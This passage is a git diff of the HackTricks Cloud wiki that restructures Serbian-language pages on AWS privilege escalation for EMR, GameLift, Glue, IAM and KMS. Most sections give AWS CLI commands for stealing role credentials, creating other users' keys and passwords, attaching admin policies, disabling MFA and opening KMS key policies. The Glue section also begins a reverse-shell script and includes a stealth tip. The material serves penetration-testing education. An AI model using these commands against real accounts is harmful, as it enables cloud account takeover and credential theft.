``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md deleted file mode 100644 index 68cda0fb2..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ /dev/null @@ -1,62 +0,0 @@ -# AWS - EMR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EMR - -Više **informacija o EMR** u: - -{{#ref}} -../aws-services/aws-emr-enum.md -{{#endref}} - -### `iam:PassRole`, `elasticmapreduce:RunJobFlow` - -Napadač sa ovim dozvolama može **pokrenuti novi EMR klaster povezujući EC2 uloge** i pokušati da ukrade njegove akreditive.\ -Imajte na umu da je za to potrebno **znati neki ssh privatni ključ uvezen u nalog** ili uvesti jedan, i biti u mogućnosti da **otvorite port 22 na glavnom čvoru** (možda ćete moći to da uradite sa atributima `EmrManagedMasterSecurityGroup` i/ili `ServiceAccessSecurityGroup` unutar `--ec2-attributes`). -```bash -# Import EC2 ssh key (you will need extra permissions for this) -ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" -chmod 400 /tmp/sshkey -base64 /tmp/sshkey.pub > /tmp/pub.key -aws ec2 import-key-pair \ ---key-name "privesc" \ ---public-key-material file:///tmp/pub.key - - -aws emr create-cluster \ ---release-label emr-5.15.0 \ ---instance-type m4.large \ ---instance-count 1 \ ---service-role EMR_DefaultRole \ ---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc - -# Wait 1min and connect via ssh to an EC2 instance of the cluster) -aws emr describe-cluster --cluster-id -# In MasterPublicDnsName you can find the DNS to connect to the master instance -## You cna also get this info listing EC2 instances -``` -Napomena kako je **EMR uloga** specificirana u `--service-role` i **ec2 uloga** je specificirana u `--ec2-attributes` unutar `InstanceProfile`. Međutim, ova tehnika samo omogućava krađu EC2 uloge (jer ćete se povezati putem ssh), ali ne i EMR IAM uloge. - -**Potencijalni uticaj:** Privesc na EC2 servisnu ulogu koja je specificirana. - -### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` - -Sa ovim dozvolama, napadač može otići na **AWS konzolu**, kreirati Notebook i pristupiti mu kako bi ukrao IAM ulogu. - -> [!CAUTION] -> Čak i ako prikačite IAM ulogu na instancu notebook-a, u mojim testovima sam primetio da sam mogao da ukradem AWS upravljane akreditive, a ne akreditive povezane sa IAM ulogom. - -**Potencijalni uticaj:** Privesc na AWS upravljanu ulogu arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -### `elasticmapreduce:OpenEditorInConsole` - -Samo sa ovom dozvolom, napadač će moći da pristupi **Jupyter Notebook-u i ukrade IAM ulogu** koja mu pripada.\ -URL notebook-a je `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` - -> [!CAUTION] -> Čak i ako prikačite IAM ulogu na instancu notebook-a, u mojim testovima sam primetio da sam mogao da ukradem AWS upravljane akreditive, a ne akreditive povezane sa IAM ulogom. - -**Potencijalni uticaj:** Privesc na AWS upravljanu ulogu arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md new file mode 100644 index 000000000..24c5fdaa3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md @@ -0,0 +1,62 @@ +# AWS - EMR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EMR + +Više **informacija o EMR** u: + +{{#ref}} +../../aws-services/aws-emr-enum.md +{{#endref}} + +### `iam:PassRole`, `elasticmapreduce:RunJobFlow` + +Napadač sa ovim dozvolama može **pokrenuti novi EMR cluster povezujući EC2 role** i pokušati da ukrade njegove kredencijale.\ +Imajte na umu da bi za ovo bilo potrebno da **poznajete neki ssh priv key importovan na nalog** ili da uvezete jedan, i da budete u mogućnosti da **otvorite port 22 na master node** (možda ćete to moći da uradite pomoću atributa `EmrManagedMasterSecurityGroup` i/ili `ServiceAccessSecurityGroup` unutar `--ec2-attributes`). +```bash +# Import EC2 ssh key (you will need extra permissions for this) +ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" +chmod 400 /tmp/sshkey +base64 /tmp/sshkey.pub > /tmp/pub.key +aws ec2 import-key-pair \ +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key + + +aws emr create-cluster \ +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc + +# Wait 1min and connect via ssh to an EC2 instance of the cluster) +aws emr describe-cluster --cluster-id +# In MasterPublicDnsName you can find the DNS to connect to the master instance +## You cna also get this info listing EC2 instances +``` +Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. + +**Potential Impact:** Privesc na specificiranu EC2 service role. + +### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` + +Sa ovim dozvolama napadač može otići u **AWS console**, kreirati Notebook i pristupiti mu kako bi ukrao IAM Role. + +> [!CAUTION] +> Čak i kada sam u svojim testovima prikačio IAM role na notebook instance, primetio sam da sam uspevao da ukradem AWS managed credentials, a ne creds vezane za taj IAM role. + +**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +### `elasticmapreduce:OpenEditorInConsole` + +Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ +The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` + +> [!CAUTION] +> Čak i kada sam u svojim testovima prikačio IAM role na notebook instance, primetio sam da sam uspevao da ukradem AWS managed credentials, a ne creds vezane za taj IAM role + +**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md deleted file mode 100644 index 168525575..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ /dev/null @@ -1,16 +0,0 @@ -# AWS - Gamelift - -{{#include ../../../banners/hacktricks-training.md}} - -### `gamelift:RequestUploadCredentials` - -Sa ovom dozvolom, napadač može da dobije **novi set kredencijala za korišćenje prilikom učitavanja** novog seta datoteka za izgradnju igre na Amazon GameLift-ov Amazon S3. Vraća **S3 kredencijale za učitavanje**. -```bash -aws gamelift request-upload-credentials \ ---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 -``` -## Reference - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md new file mode 100644 index 000000000..96aa4c2e8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md @@ -0,0 +1,16 @@ +# AWS - Gamelift + +{{#include ../../../../banners/hacktricks-training.md}} + +### `gamelift:RequestUploadCredentials` + +Sa ovom dozvolom napadač može da pribavi **fresh set of credentials for use when uploading** za otpremu novog skupa fajlova igre na Amazon GameLift-ov Amazon S3. Vratiće **S3 upload credentials**. +```bash +aws gamelift request-upload-credentials \ +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +``` +## Reference + +- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md index 2931ed42d..0437cf629 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md @@ -1,14 +1,14 @@ # AWS - Glue Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## glue ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Korisnici sa ovim dozvolama mogu **postaviti novu AWS Glue razvojnu tačku**, **dodeljujući postojeću servisnu ulogu koju Glue može preuzeti** sa specifičnim dozvolama ovoj tački. +Korisnici sa ovim permisijama mogu **postaviti novi AWS Glue development endpoint**, **dodeliti postojeću servisnu ulogu koju Glue može preuzeti** sa određenim permisijama za ovaj endpoint. -Nakon postavljanja, **napadač može SSH-ovati u instancu tačke**, i ukrasti IAM akreditive dodeljene uloge: +Nakon podešavanja, **napadač može SSH-ovati na instancu endpointa**, i ukrasti IAM kredencijale dodeljene uloge: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ @@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -Za svrhe prikrivanja, preporučuje se korišćenje IAM kredencijala iznutra Glue virtuelne mašine. +For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. -**Potencijalni uticaj:** Privesc na ulogu servisa glue koja je navedena. +**Mogući uticaj:** Privesc to the glue service role specified. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Korisnici sa ovom dozvolom mogu **promeniti postojeći Glue razvojni** endpoint SSH ključ, **omogućavajući SSH pristup njemu**. Ovo omogućava napadaču da izvršava komande sa privilegijama uloge koja je povezana sa endpoint-om: +Korisnici sa ovom dozvolom mogu **izmeniti postojeći Glue development** SSH ključ endpoint-a, **omogućavajući SSH pristup**. Ovo napadaču omogućava izvršavanje komandi sa privilegijama role pridružene endpoint-u: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ @@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -**Potencijalni uticaj:** Privesc na ulogu servisa glue koja se koristi. +**Potential Impact:** Privesc na korišćenu Glue service role. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Korisnici sa **`iam:PassRole`** u kombinaciji sa bilo kojim od **`glue:CreateJob` ili `glue:UpdateJob`**, i bilo kojim od **`glue:StartJobRun` ili `glue:CreateTrigger`** mogu **kreirati ili ažurirati AWS Glue posao**, pridružujući bilo koji **Glue servisni nalog**, i pokrenuti izvršenje posla. Mogućnosti posla uključuju izvršavanje proizvoljnog Python koda, što se može iskoristiti za uspostavljanje reverzibilne ljuske. Ova reverzibilna ljuska se zatim može koristiti za eksfiltraciju **IAM kredencijala** uloge pridružene Glue poslu, što može dovesti do potencijalnog neovlašćenog pristupa ili radnji na osnovu dozvola te uloge: +Korisnici koji imaju **`iam:PassRole`** u kombinaciji sa bilo kojim od **`glue:CreateJob` ili `glue:UpdateJob`**, i bilo kojim od **`glue:StartJobRun` ili `glue:CreateTrigger`**, mogu **kreirati ili ažurirati AWS Glue job**, prikačiti bilo koji **Glue service account** i pokrenuti izvršenje job-a. Job može da izvršava proizvoljan Python kod, što se može iskoristiti za uspostavljanje reverse shell-a. Taj reverse shell se potom može iskoristiti za eksfiltraciju **IAM credential**s role prikačene na Glue job, što može dovesti do neovlašćenog pristupa ili akcija zasnovanih na privilegijama te role: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ --actions '[{"JobName": "privesctest"}]' --start-on-creation \ --schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` -**Potencijalni Uticaj:** Privesc na ulogu glue servisa koja je specificirana. +**Mogući uticaj:** Privesc na navedenu glue service role. ### `glue:UpdateJob` -Samo sa dozvolom za ažuriranje, napadač bi mogao da ukrade IAM kredencijale već pridružene uloge. +Samo sa update dozvolom napadač može ukrasti IAM Credentials već prikačene role. -**Potencijalni Uticaj:** Privesc na ulogu glue servisa koja je pridružena. +**Mogući uticaj:** Privesc na prikačenu glue service role. -## Reference +## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 79855f263..dad5f1da1 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -1,109 +1,109 @@ # AWS - IAM Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## IAM -Za više informacija o IAM-u pogledajte: +Za više informacija o IAM pogledajte: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### **`iam:CreatePolicyVersion`** -Daje mogućnost kreiranja nove verzije IAM politike, zaobilazeći potrebu za `iam:SetDefaultPolicyVersion` dozvolom korišćenjem `--set-as-default` oznake. Ovo omogućava definisanje prilagođenih dozvola. +Omogućava kreiranje nove verzije IAM policy-ja, zaobilazeći potrebu za permisijom `iam:SetDefaultPolicyVersion` korišćenjem opcije `--set-as-default`. Ovo omogućava definisanje prilagođenih permisija. -**Eksploataciona komanda:** +**Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Uticaj:** Direktno povećava privilegije omogućavajući bilo koju akciju na bilo kojem resursu. +**Uticaj:** Direktno eskalira privilegije dopuštajući bilo koju akciju nad bilo kojim resursom. ### **`iam:SetDefaultPolicyVersion`** -Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno povećavajući privilegije ako nova verzija ima više dozvola. +Omogućava promenu podrazumevane verzije IAM policy-ja na neku drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola. -**Bash Komanda:** +**Bash komanda:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Uticaj:** Indirektno povećanje privilegija omogućavanjem više dozvola. +**Uticaj:** Indirektno privilege escalation omogućavanjem dodatnih dozvola. ### **`iam:CreateAccessKey`** -Omogućava kreiranje ID ključa za pristup i tajnog ključa za pristup za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija. +Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalnog privilege escalation. -**Eksploatacija:** +**Exploit:** ```bash aws iam create-access-key --user-name ``` -**Uticaj:** Direktno povećanje privilegija preuzimanjem proširenih dozvola drugog korisnika. +**Uticaj:** Direktna eskalacija privilegija preuzimanjem proširenih dozvola drugog korisnika. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Omogućava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za prijavu na AWS konzolu, što dovodi do direktnog povećanja privilegija. +Omogućava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za prijavu na AWS konzolu, što dovodi do direktne eskalacije privilegija. -**Eksploatacija za kreiranje:** +**Exploit for Creation:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Eksploatacija za ažuriranje:** +**Exploit za Ažuriranje:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Uticaj:** Direktno povećanje privilegija prijavljivanjem kao "bilo koji" korisnik. +**Uticaj:** Direktna eskalacija privilegija prijavom kao bilo koji korisnik. ### **`iam:UpdateAccessKey`** -Omogućava aktiviranje onemogućenog pristupnog ključa, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni ključ. +Dozvoljava ponovno omogućavanje onemogućenog access key-a, što može dovesti do neovlašćenog pristupa ako napadač poseduje taj onemogućeni access key. -**Eksploatacija:** +**Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Uticaj:** Direktno povećanje privilegija ponovnim aktiviranjem pristupnih ključeva. +**Uticaj:** Direktna eskalacija privilegija ponovnim aktiviranjem access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr., CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika. +Omogućava generisanje ili resetovanje kredencijala za određene AWS servise (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole pripadajućeg korisnika. -**Eksploatacija za Kreiranje:** +**Eksploit za kreiranje:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**Eksploatacija za resetovanje:** +**Exploit za Reset:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Uticaj:** Direktno eskaliranje privilegija unutar dozvola usluge korisnika. +**Impact:** Direktna eskalacija privilegija u okviru servisnih dozvola korisnika. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Omogućava pridruživanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola pridružene politike. +Omogućava prikačivanje policy-ja korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola prikačenog policy-ja. -**Eksploatacija za korisnika:** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Eksploatacija za Grupu:** +**Exploit za grupu:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Uticaj:** Direktno povećanje privilegija na sve što politika omogućava. +**Uticaj:** Direktna eskalacija privilegija na sve što politika dozvoljava. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Omogućava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktno povećanje privilegija dodeljivanjem dodatnih dozvola. +Dozvoljava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktnu eskalaciju privilegija dodeljivanjem dodatnih dozvola. -**Iskorišćavanje za Ulogu:** +**Eksploatacija za ulogu:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` -**Eksploatacija za Inline Politike:** +**Eksploatacija za Inline Policies:** ```bash aws iam put-user-policy --user-name --policy-name "" \ --policy-document "file:///path/to/policy.json" @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Možete koristiti politiku kao: +Možete koristiti politiku poput: ```json { "Version": "2012-10-17", @@ -127,28 +127,28 @@ Možete koristiti politiku kao: ] } ``` -**Uticaj:** Direktno eskaliranje privilegija dodavanjem dozvola putem politika. +**Uticaj:** Direktna eskalacija privilegija dodavanjem dozvola kroz politike. ### **`iam:AddUserToGroup`** Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola grupe. -**Eksploatacija:** +**Eksploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Uticaj:** Direktno povećanje privilegija na nivo dozvola grupe. +**Uticaj:** Direktno eskaliranje privilegija do nivoa dozvola grupe. ### **`iam:UpdateAssumeRolePolicy`** -Omogućava izmenu dokumenta politike pretpostavljanja uloge, omogućavajući preuzimanje uloge i njenih povezanih dozvola. +Dozvoljava izmenu assume role policy dokumenta role, što omogućava preuzimanje te role i njenih pridruženih dozvola. **Eksploatacija:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Gde politika izgleda ovako, što korisniku daje dozvolu da preuzme ulogu: +Ako politika izgleda na sledeći način i daje korisniku dozvolu da preuzme ulogu: ```json { "Version": "2012-10-17", @@ -163,38 +163,38 @@ Gde politika izgleda ovako, što korisniku daje dozvolu da preuzme ulogu: ] } ``` -**Uticaj:** Direktno povećanje privilegija preuzimanjem dozvola bilo koje uloge. +**Uticaj:** Direktno eskaliranje privilegija preuzimanjem dozvola bilo koje uloge. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Omogućava učitavanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog povećanja privilegija. +Dozvoljava otpremanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog eskaliranja privilegija. -**Eksploatacija za učitavanje SSH ključa:** +**Eksploat za otpremanje SSH javnog ključa:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Eksploatacija za deaktivaciju MFA:** +**Exploit za deaktivaciju MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Uticaj:** Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite. +**Uticaj:** Neizravna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite. ### **`iam:ResyncMFADevice`** -Omogućava resinkronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite. +Dozvoljava ponovnu sinhronizaciju MFA uređaja, što potencijalno može dovesti do neizravne eskalacije privilegija manipulisanjem MFA zaštite. -**Bash komanda:** +**Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Uticaj:** Indirektno eskaliranje privilegija dodavanjem ili manipulisanjem MFA uređaja. +**Impact:** Indirektno eskaliranje privilegija dodavanjem ili manipulacijom MFA uređaja. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Sa ovim dozvolama možete **promeniti XML metapodatke SAML veze**. Tada biste mogli zloupotrebiti **SAML federaciju** da se **prijavite** sa bilo kojom **ulogom koja joj veruje**. +Uz ove dozvole možete **izmeniti XML metadata SAML konekcije**. Zatim možete zloupotrebiti **SAML federation** da se **login** sa bilo kojom **role koja joj veruje**. -Imajte na umu da će **legitimni korisnici moći da se prijave**. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni. +Imajte na umu da pri tome **legit users won't be able to login**. Međutim, možete dobiti XML, pa možete staviti svoj, login i vratiti prethodnu konfiguraciju. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Alat sposoban za generisanje SAML metapodataka i prijavu sa određenom ulogom +> TODO: Alat sposoban da generiše SAML metapodatke i prijavi se sa određenom ulogom ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Nesigurno u vezi s tim) Ako napadač ima ove **dozvole**, mogao bi dodati novi **Thumbprint** kako bi uspeo da se prijavi u sve uloge koje veruju provajderu. +(Nisam siguran u ovo) Ako napadač ima ove **dozvole**, mogao bi dodati novi **Thumbprint** kako bi se prijavio u sve role koje veruju tom provajderu. ```bash # List providers aws iam list-open-id-connect-providers @@ -224,8 +224,12 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` -## Reference +### `iam:PutUserPermissionsBoundary` + +Ova dozvola omogućava attackeru da ažurira permissions boundary korisnika, potencijalno eskalirajući njihove privilegije tako što im dozvoljava da izvršavaju akcije koje su obično ograničene njihovim postojećim dozvolama. + +## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md similarity index 66% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md index 6b3337b44..4980c2fe8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md @@ -1,18 +1,18 @@ # AWS - KMS Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## KMS Za više informacija o KMS pogledajte: {{#ref}} -../aws-services/aws-kms-enum.md +../../aws-services/aws-kms-enum.md {{#endref}} ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -Sa ovim dozvolama je moguće **modifikovati dozvole pristupa ključa** tako da ga mogu koristiti drugi nalozi ili čak bilo ko: +Sa ovim dozvolama moguće je **izmeniti pristupne dozvole za ključ** tako da ga mogu koristiti drugi nalozi ili čak bilo ko: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -60,9 +60,9 @@ aws kms create-grant \ > Grant može dozvoliti samo određene vrste operacija: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> Imajte na umu da može proći nekoliko minuta da KMS **dozvoli korisniku da koristi ključ nakon što je grant generisan**. Kada to vreme prođe, glavni korisnik može koristiti KMS ključ bez potrebe da bilo šta specificira.\ -> Međutim, ako je potrebno odmah koristiti grant [koristite grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (proverite sledeći kod).\ -> Za [**više informacija pročitajte ovo**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). +> Imajte na umu da može potrajati nekoliko minuta dok KMS ne **dozvoli korisniku da koristi ključ nakon što je grant kreiran**. Kada to vreme prođe, principal može koristiti KMS key bez potrebe da navodi bilo šta.\ +> Međutim, ako je potrebno koristiti grant odmah [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (pogledajte naredni kod).\ +> Za [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ @@ -70,7 +70,7 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -Napomena da je moguće nabrojati dodeljivanje ključeva sa: +Napomena: moguće je prikazati grants za ključeve pomoću: ```bash aws kms list-grants --key-id ``` @@ -78,7 +78,7 @@ aws kms list-grants --key-id Sa ovim dozvolama moguće je replicirati KMS ključ omogućen za više regiona u drugom regionu sa drugačijom politikom. -Dakle, napadač bi mogao da iskoristi ovo da dobije privesc svoj pristup ključu i koristi ga. +Dakle, napadač to može zloupotrebiti kako bi dobio privesc i pristup ključu i iskoristio ga. ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml @@ -100,11 +100,11 @@ aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-re ``` ### `kms:Decrypt` -Ova dozvola omogućava korišćenje ključa za dešifrovanje nekih informacija.\ -Za više informacija proverite: +Ovo dopuštenje omogućava korišćenje ključa za dešifrovanje nekih informacija.\ +Za više informacija pogledajte: {{#ref}} -../aws-post-exploitation/aws-kms-post-exploitation.md +../../aws-post-exploitation/aws-kms-post-exploitation/README.md {{#endref}} -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md index 10e9b6ff6..7574f4e4e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ 